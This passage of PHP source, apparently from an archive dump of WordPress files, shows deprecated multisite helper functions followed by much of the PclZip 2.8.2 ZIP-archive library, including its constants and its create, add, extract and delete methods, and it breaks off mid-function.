/** * @deprecated 3.0.0 */ function mu_options( $options ) { _deprecated_function(__FUNCTION__, '3.0' ); return $options; } /** * @deprecated 3.0.0 * @see activate_plugin() */ function activate_sitewide_plugin() { _deprecated_function(__FUNCTION__, '3.0', 'activate_plugin()' ); return false; } /** * @deprecated 3.0.0 * @see deactivate_sitewide_plugin() */ function deactivate_sitewide_plugin( $plugin = false ) { _deprecated_function(__FUNCTION__, '3.0', 'deactivate_plugin()' ); return; } /** * @deprecated 3.0.0 * @see is_network_only_plugin() */ function is_wpmu_sitewide_plugin( $file ) { _deprecated_function(__FUNCTION__, '3.0', 'is_network_only_plugin()' ); return is_network_only_plugin( $file ); } function get_site_allowed_themes() { _deprecated_function( __FUNCTION__, '3.4', 'WP_Theme::get_allowed_on_network()' ); return array_map( 'intval', WP_Theme::get_allowed_on_network() ); } function wpmu_get_blog_allowedthemes( $blog_id = 0 ) { _deprecated_function( __FUNCTION__, '3.4', 'WP_Theme::get_allowed_on_site()' ); return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) ); } function ms_deprecated_blogs_file() {}class-pclzip.php000077700000576042151514577750007727 0ustar00<?php // -------------------------------------------------------------------------------- // PhpConcept Library - Zip Module 2.8.2 // -------------------------------------------------------------------------------- // License GNU/LGPL - Vincent Blavet - August 2009 // http://www.phpconcept.net // -------------------------------------------------------------------------------- // // Presentation : // PclZip is a PHP library that manage ZIP archives. // So far tests show that archives generated by PclZip are readable by // WinZip application and other tools. // // Description : // See readme.txt and http://www.phpconcept.net // // Warning : // This library and the associated files are non commercial, non professional // work. // It should not have unexpected results. However if any damage is caused by // this software the author can not be responsible. // The use of this software is at the risk of the user. // // -------------------------------------------------------------------------------- // $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $ // -------------------------------------------------------------------------------- // ----- Constants if (!defined('PCLZIP_READ_BLOCK_SIZE')) { define( 'PCLZIP_READ_BLOCK_SIZE', 2048 ); } // ----- File list separator // In version 1.x of PclZip, the separator for file list is a space // (which is not a very smart choice, specifically for windows paths !). // A better separator should be a comma (,). This constant gives you the // abilty to change that. // However notice that changing this value, may have impact on existing // scripts, using space separated filenames. // Recommanded values for compatibility with older versions : //define( 'PCLZIP_SEPARATOR', ' ' ); // Recommanded values for smart separation of filenames. if (!defined('PCLZIP_SEPARATOR')) { define( 'PCLZIP_SEPARATOR', ',' ); } // ----- Error configuration // 0 : PclZip Class integrated error handling // 1 : PclError external library error handling. By enabling this // you must ensure that you have included PclError library. // [2,...] : reserved for futur use if (!defined('PCLZIP_ERROR_EXTERNAL')) { define( 'PCLZIP_ERROR_EXTERNAL', 0 ); } // ----- Optional static temporary directory // By default temporary files are generated in the script current // path. // If defined : // - MUST BE terminated by a '/'. // - MUST be a valid, already created directory // Samples : // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' ); // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' ); if (!defined('PCLZIP_TEMPORARY_DIR')) { define( 'PCLZIP_TEMPORARY_DIR', '' ); } // ----- Optional threshold ratio for use of temporary files // Pclzip sense the size of the file to add/extract and decide to // use or not temporary file. The algorythm is looking for // memory_limit of PHP and apply a ratio. // threshold = memory_limit * ratio. // Recommended values are under 0.5. Default 0.47. // Samples : // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 ); if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) { define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 ); } // -------------------------------------------------------------------------------- // ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED ***** // -------------------------------------------------------------------------------- // ----- Global variables $g_pclzip_version = "2.8.2"; // ----- Error codes // -1 : Unable to open file in binary write mode // -2 : Unable to open file in binary read mode // -3 : Invalid parameters // -4 : File does not exist // -5 : Filename is too long (max. 255) // -6 : Not a valid zip file // -7 : Invalid extracted file size // -8 : Unable to create directory // -9 : Invalid archive extension // -10 : Invalid archive format // -11 : Unable to delete file (unlink) // -12 : Unable to rename file (rename) // -13 : Invalid header checksum // -14 : Invalid archive size define( 'PCLZIP_ERR_USER_ABORTED', 2 ); define( 'PCLZIP_ERR_NO_ERROR', 0 ); define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 ); define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 ); define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 ); define( 'PCLZIP_ERR_MISSING_FILE', -4 ); define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 ); define( 'PCLZIP_ERR_INVALID_ZIP', -6 ); define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 ); define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 ); define( 'PCLZIP_ERR_BAD_EXTENSION', -9 ); define( 'PCLZIP_ERR_BAD_FORMAT', -10 ); define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 ); define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 ); define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 ); define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 ); define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 ); define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 ); define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 ); define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 ); define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 ); define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 ); define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 ); // ----- Options values define( 'PCLZIP_OPT_PATH', 77001 ); define( 'PCLZIP_OPT_ADD_PATH', 77002 ); define( 'PCLZIP_OPT_REMOVE_PATH', 77003 ); define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 ); define( 'PCLZIP_OPT_SET_CHMOD', 77005 ); define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 ); define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 ); define( 'PCLZIP_OPT_BY_NAME', 77008 ); define( 'PCLZIP_OPT_BY_INDEX', 77009 ); define( 'PCLZIP_OPT_BY_EREG', 77010 ); define( 'PCLZIP_OPT_BY_PREG', 77011 ); define( 'PCLZIP_OPT_COMMENT', 77012 ); define( 'PCLZIP_OPT_ADD_COMMENT', 77013 ); define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 ); define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 ); define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 ); define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 ); // Having big trouble with crypt. Need to multiply 2 long int // which is not correctly supported by PHP ... //define( 'PCLZIP_OPT_CRYPT', 77018 ); define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 ); define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 ); define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 ); define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 ); define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias // ----- File description attributes define( 'PCLZIP_ATT_FILE_NAME', 79001 ); define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 ); define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 ); define( 'PCLZIP_ATT_FILE_MTIME', 79004 ); define( 'PCLZIP_ATT_FILE_CONTENT', 79005 ); define( 'PCLZIP_ATT_FILE_COMMENT', 79006 ); // ----- Call backs values define( 'PCLZIP_CB_PRE_EXTRACT', 78001 ); define( 'PCLZIP_CB_POST_EXTRACT', 78002 ); define( 'PCLZIP_CB_PRE_ADD', 78003 ); define( 'PCLZIP_CB_POST_ADD', 78004 ); /* For futur use define( 'PCLZIP_CB_PRE_LIST', 78005 ); define( 'PCLZIP_CB_POST_LIST', 78006 ); define( 'PCLZIP_CB_PRE_DELETE', 78007 ); define( 'PCLZIP_CB_POST_DELETE', 78008 ); */ // -------------------------------------------------------------------------------- // Class : PclZip // Description : // PclZip is the class that represent a Zip archive. // The public methods allow the manipulation of the archive. // Attributes : // Attributes must not be accessed directly. // Methods : // PclZip() : Object creator // create() : Creates the Zip archive // listContent() : List the content of the Zip archive // extract() : Extract the content of the archive // properties() : List the properties of the archive // -------------------------------------------------------------------------------- class PclZip { // ----- Filename of the zip file var $zipname = ''; // ----- File descriptor of the zip file var $zip_fd = 0; // ----- Internal error handling var $error_code = 1; var $error_string = ''; // ----- Current status of the magic_quotes_runtime // This value store the php configuration for magic_quotes // The class can then disable the magic_quotes and reset it after var $magic_quotes_status; // -------------------------------------------------------------------------------- // Function : PclZip() // Description : // Creates a PclZip object and set the name of the associated Zip archive // filename. // Note that no real action is taken, if the archive does not exist it is not // created. Use create() for that. // -------------------------------------------------------------------------------- function PclZip($p_zipname) { // ----- Tests the zlib if (!function_exists('gzopen')) { die('Abort '.basename(__FILE__).' : Missing zlib extensions'); } // ----- Set the attributes $this->zipname = $p_zipname; $this->zip_fd = 0; $this->magic_quotes_status = -1; // ----- Return return; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : // create($p_filelist, $p_add_dir="", $p_remove_dir="") // create($p_filelist, $p_option, $p_option_value, ...) // Description : // This method supports two different synopsis. The first one is historical. // This method creates a Zip Archive. The Zip file is created in the // filesystem. The files and directories indicated in $p_filelist // are added in the archive. See the parameters description for the // supported format of $p_filelist. // When a directory is in the list, the directory and its content is added // in the archive. // In this synopsis, the function takes an optional variable list of // options. See bellow the supported options. // Parameters : // $p_filelist : An array containing file or directory names, or // a string containing one filename or one directory name, or // a string containing a list of filenames and/or directory // names separated by spaces. // $p_add_dir : A path to add before the real path of the archived file, // in order to have it memorized in the archive. // $p_remove_dir : A path to remove from the real path of the file to archive, // in order to have a shorter path memorized in the archive. // When $p_add_dir and $p_remove_dir are set, $p_remove_dir // is removed first, before $p_add_dir is added. // Options : // PCLZIP_OPT_ADD_PATH : // PCLZIP_OPT_REMOVE_PATH : // PCLZIP_OPT_REMOVE_ALL_PATH : // PCLZIP_OPT_COMMENT : // PCLZIP_CB_PRE_ADD : // PCLZIP_CB_POST_ADD : // Return Values : // 0 on failure, // The list of the added files, with a status of the add action. // (see PclZip::listContent() for list entry format) // -------------------------------------------------------------------------------- function create($p_filelist) { $v_result=1; // ----- Reset the error handler $this->privErrorReset(); // ----- Set default values $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; // ----- Look for variable options arguments $v_size = func_num_args(); // ----- Look for arguments if ($v_size > 1) { // ----- Get the arguments $v_arg_list = func_get_args(); // ----- Remove from the options list the first argument array_shift($v_arg_list); $v_size--; // ----- Look for first arg if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { // ----- Parse the options $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_ADD => 'optional', PCLZIP_CB_POST_ADD => 'optional', PCLZIP_OPT_NO_COMPRESSION => 'optional', PCLZIP_OPT_COMMENT => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' //, PCLZIP_OPT_CRYPT => 'optional' )); if ($v_result != 1) { return 0; } } // ----- Look for 2 args // Here we need to support the first historic synopsis of the // method. else { // ----- Get the first argument $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; // ----- Look for the optional second argument if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } // ----- Look for default option values $this->privOptionDefaultThreshold($v_options); // ----- Init $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); // ----- Look if the $p_filelist is really an array if (is_array($p_filelist)) { // ----- Look if the first element is also an array // This will mean that this is a file description entry if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } // ----- The list is a list of string names else { $v_string_list = $p_filelist; } } // ----- Look if the $p_filelist is a string else if (is_string($p_filelist)) { // ----- Create a list from the string $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } // ----- Invalid variable type for $p_filelist else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); return 0; } // ----- Reformat the string list if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { if ($v_string != '') { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } else { } } } // ----- For each file in the list check the attributes $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' ,PCLZIP_ATT_FILE_MTIME => 'optional' ,PCLZIP_ATT_FILE_CONTENT => 'optional' ,PCLZIP_ATT_FILE_COMMENT => 'optional' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } // ----- Expand the filelist (expand directories) $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } // ----- Call the create fct $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } // ----- Return return $p_result_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : // add($p_filelist, $p_add_dir="", $p_remove_dir="") // add($p_filelist, $p_option, $p_option_value, ...) // Description : // This method supports two synopsis. The first one is historical. // This methods add the list of files in an existing archive. // If a file with the same name already exists, it is added at the end of the // archive, the first one is still present. // If the archive does not exist, it is created. // Parameters : // $p_filelist : An array containing file or directory names, or // a string containing one filename or one directory name, or // a string containing a list of filenames and/or directory // names separated by spaces. // $p_add_dir : A path to add before the real path of the archived file, // in order to have it memorized in the archive. // $p_remove_dir : A path to remove from the real path of the file to archive, // in order to have a shorter path memorized in the archive. // When $p_add_dir and $p_remove_dir are set, $p_remove_dir // is removed first, before $p_add_dir is added. // Options : // PCLZIP_OPT_ADD_PATH : // PCLZIP_OPT_REMOVE_PATH : // PCLZIP_OPT_REMOVE_ALL_PATH : // PCLZIP_OPT_COMMENT : // PCLZIP_OPT_ADD_COMMENT : // PCLZIP_OPT_PREPEND_COMMENT : // PCLZIP_CB_PRE_ADD : // PCLZIP_CB_POST_ADD : // Return Values : // 0 on failure, // The list of the added files, with a status of the add action. // (see PclZip::listContent() for list entry format) // -------------------------------------------------------------------------------- function add($p_filelist) { $v_result=1; // ----- Reset the error handler $this->privErrorReset(); // ----- Set default values $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; // ----- Look for variable options arguments $v_size = func_num_args(); // ----- Look for arguments if ($v_size > 1) { // ----- Get the arguments $v_arg_list = func_get_args(); // ----- Remove form the options list the first argument array_shift($v_arg_list); $v_size--; // ----- Look for first arg if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { // ----- Parse the options $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_ADD => 'optional', PCLZIP_CB_POST_ADD => 'optional', PCLZIP_OPT_NO_COMPRESSION => 'optional', PCLZIP_OPT_COMMENT => 'optional', PCLZIP_OPT_ADD_COMMENT => 'optional', PCLZIP_OPT_PREPEND_COMMENT => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' //, PCLZIP_OPT_CRYPT => 'optional' )); if ($v_result != 1) { return 0; } } // ----- Look for 2 args // Here we need to support the first historic synopsis of the // method. else { // ----- Get the first argument $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; // ----- Look for the optional second argument if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); // ----- Return return 0; } } } // ----- Look for default option values $this->privOptionDefaultThreshold($v_options); // ----- Init $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); // ----- Look if the $p_filelist is really an array if (is_array($p_filelist)) { // ----- Look if the first element is also an array // This will mean that this is a file description entry if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } // ----- The list is a list of string names else { $v_string_list = $p_filelist; } } // ----- Look if the $p_filelist is a string else if (is_string($p_filelist)) { // ----- Create a list from the string $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } // ----- Invalid variable type for $p_filelist else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist"); return 0; } // ----- Reformat the string list if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } } // ----- For each file in the list check the attributes $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' ,PCLZIP_ATT_FILE_MTIME => 'optional' ,PCLZIP_ATT_FILE_CONTENT => 'optional' ,PCLZIP_ATT_FILE_COMMENT => 'optional' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } // ----- Expand the filelist (expand directories) $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } // ----- Call the create fct $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } // ----- Return return $p_result_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : listContent() // Description : // This public method, gives the list of the files and directories, with their // properties. // The properties of each entries in the list are (used also in other functions) : // filename : Name of the file. For a create or add action it is the filename // given by the user. For an extract function it is the filename // of the extracted file. // stored_filename : Name of the file / directory stored in the archive. // size : Size of the stored file. // compressed_size : Size of the file's data compressed in the archive // (without the headers overhead) // mtime : Last known modification date of the file (UNIX timestamp) // comment : Comment associated with the file // folder : true | false // index : index of the file in the archive // status : status of the action (depending of the action) : // Values are : // ok : OK ! // filtered : the file / dir is not extracted (filtered by user) // already_a_directory : the file can not be extracted because a // directory with the same name already exists // write_protected : the file can not be extracted because a file // with the same name already exists and is // write protected // newer_exist : the file was not extracted because a newer file exists // path_creation_fail : the file is not extracted because the folder // does not exist and can not be created // write_error : the file was not extracted because there was a // error while writing the file // read_error : the file was not extracted because there was a error // while reading the file // invalid_header : the file was not extracted because of an archive // format error (bad file header) // Note that each time a method can continue operating when there // is an action error on a file, the error is only logged in the file status. // Return Values : // 0 on an unrecoverable failure, // The list of the files in the archive. // -------------------------------------------------------------------------------- function listContent() { $v_result=1; // ----- Reset the error handler $this->privErrorReset(); // ----- Check archive if (!$this->privCheckFormat()) { return(0); } // ----- Call the extracting fct $p_list = array(); if (($v_result = $this->privList($p_list)) != 1) { unset($p_list); return(0); } // ----- Return return $p_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : // extract($p_path="./", $p_remove_path="") // extract([$p_option, $p_option_value, ...]) // Description : // This method supports two synopsis. The first one is historical. // This method extract all the files / directories from the archive to the // folder indicated in $p_path. // If you want to ignore the 'root' part of path of the memorized files // you can indicate this in the optional $p_remove_path parameter. // By default, if a newer file with the same name already exists, the // file is not extracted. // // If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions // are used, the path indicated in PCLZIP_OPT_ADD_PATH is append // at the end of the path value of PCLZIP_OPT_PATH. // Parameters : // $p_path : Path where the files and directories are to be extracted // $p_remove_path : First part ('root' part) of the memorized path // (if any similar) to remove while extracting. // Options : // PCLZIP_OPT_PATH : // PCLZIP_OPT_ADD_PATH : // PCLZIP_OPT_REMOVE_PATH : // PCLZIP_OPT_REMOVE_ALL_PATH : // PCLZIP_CB_PRE_EXTRACT : // PCLZIP_CB_POST_EXTRACT : // Return Values : // 0 or a negative value on failure, // The list of the extracted files, with a status of the action. // (see PclZip::listContent() for list entry format) // -------------------------------------------------------------------------------- function extract() { $v_result=1; // ----- Reset the error handler $this->privErrorReset(); // ----- Check archive if (!$this->privCheckFormat()) { return(0); } // ----- Set default values $v_options = array(); // $v_path = "./"; $v_path = ''; $v_remove_path = ""; $v_remove_all_path = false; // ----- Look for variable options arguments $v_size = func_num_args(); // ----- Default values for option $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; // ----- Look for arguments if ($v_size > 0) { // ----- Get the arguments $v_arg_list = func_get_args(); // ----- Look for first arg if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { // ----- Parse the options $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => 'optional', PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_EXTRACT => 'optional', PCLZIP_CB_POST_EXTRACT => 'optional', PCLZIP_OPT_SET_CHMOD => 'optional', PCLZIP_OPT_BY_NAME => 'optional', PCLZIP_OPT_BY_EREG => 'optional', PCLZIP_OPT_BY_PREG => 'optional', PCLZIP_OPT_BY_INDEX => 'optional', PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional', PCLZIP_OPT_REPLACE_NEWER => 'optional' ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if ($v_result != 1) { return 0; } // ----- Set the arguments if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { // ----- Check for '/' in last path char if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { $v_path .= '/'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } } // ----- Look for 2 args // Here we need to support the first historic synopsis of the // method. else { // ----- Get the first argument $v_path = $v_arg_list[0]; // ----- Look for the optional second argument if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); // ----- Return return 0; } } } // ----- Look for default option values $this->privOptionDefaultThreshold($v_options); // ----- Trace // ----- Call the extracting fct $p_list = array(); $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options); if ($v_result < 1) { unset($p_list); return(0); } // ----- Return return $p_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : // extractByIndex($p_index, $p_path="./", $p_remove_path="") // extractByIndex($p_index, [$p_option, $p_option_value, ...]) // Description : // This method supports two synopsis. The first one is historical. // This method is doing a partial extract of the archive. // The extracted files or folders are identified by their index in the // archive (from 0 to n). // Note that if the index identify a folder, only the folder entry is // extracted, not all the files included in the archive. // Parameters : // $p_index : A single index (integer) or a string of indexes of files to // extract. The form of the string is "0,4-6,8-12" with only numbers // and '-' for range or ',' to separate ranges. No spaces or ';' // are allowed. // $p_path : Path where the files and directories are to be extracted // $p_remove_path : First part ('root' part) of the memorized path // (if any similar) to remove while extracting. // Options : // PCLZIP_OPT_PATH : // PCLZIP_OPT_ADD_PATH : // PCLZIP_OPT_REMOVE_PATH : // PCLZIP_OPT_REMOVE_ALL_PATH : // PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and // not as files. // The resulting content is in a new field 'content' in the file // structure. // This option must be used alone (any other options are ignored). // PCLZIP_CB_PRE_EXTRACT : // PCLZIP_CB_POST_EXTRACT : // Return Values : // 0 on failure, // The list of the extracted files, with a status of the action. // (see PclZip::listContent() for list entry format) // -------------------------------------------------------------------------------- //function extractByIndex($p_index, options...) function extractByIndex($p_index) { $v_result=1; // ----- Reset the error handler $this->privErrorReset(); // ----- Check archive if (!$this->privCheckFormat()) { return(0); } // ----- Set default values $v_options = array(); // $v_path = "./"; $v_path = ''; $v_remove_path = ""; $v_remove_all_path = false; // ----- Look for variable options arguments $v_size = func_num_args(); // ----- Default values for option $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; // ----- Look for arguments if ($v_size > 1) { // ----- Get the arguments $v_arg_list = func_get_args(); // ----- Remove form the options list the first argument array_shift($v_arg_list); $v_size--; // ----- Look for first arg if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { // ----- Parse the options $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => 'optional', PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_EXTRACT => 'optional', PCLZIP_CB_POST_EXTRACT => 'optional', PCLZIP_OPT_SET_CHMOD => 'optional', PCLZIP_OPT_REPLACE_NEWER => 'optional' ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if ($v_result != 1) { return 0; } // ----- Set the arguments if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { // ----- Check for '/' in last path char if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { $v_path .= '/'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; } else { } } // ----- Look for 2 args // Here we need to support the first historic synopsis of the // method. else { // ----- Get the first argument $v_path = $v_arg_list[0]; // ----- Look for the optional second argument if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); // ----- Return return 0; } } } // ----- Trace // ----- Trick // Here I want to reuse extractByRule(), so I need to parse the $p_index // with privParseOptions() $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); $v_options_trick = array(); $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, array (PCLZIP_OPT_BY_INDEX => 'optional' )); if ($v_result != 1) { return 0; } $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; // ----- Look for default option values $this->privOptionDefaultThreshold($v_options); // ----- Call the extracting fct if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { return(0); } // ----- Return return $p_list; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : // delete([$p_option, $p_option_value, ...]) // Description : // This method removes files from the archive. // If no parameters are given, then all the archive is emptied. // Parameters : // None or optional arguments. // Options : // PCLZIP_OPT_BY_INDEX : // PCLZIP_OPT_BY_NAME : // PCLZIP_OPT_BY_EREG : // PCLZIP_OPT_BY_PREG : // Return Values : // 0 on failure, // The list of the files which are still present in the archive. // (see PclZip::listContent() for list entry format) // -------------------------------------------------------------------------------- function delete() { $v_result=1; // ----- Reset the error handler $this->privErrorReset(); // ----- Check archive if (!$this->privCheckFormat()) { return(0); } // ----- Set default values $v_options = array(); // ----- Look for variable options arguments $v_size = func_num_args(); // ----- Look for arguments if ($v_size > 0) { // ----- Get the arguments $v_arg_list = func_get_args(); // ----- Parse the options $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_BY_NAME => 'optional', PCLZIP_OPT_BY_EREG => 'optional', PCLZIP_OPT_BY_PREG 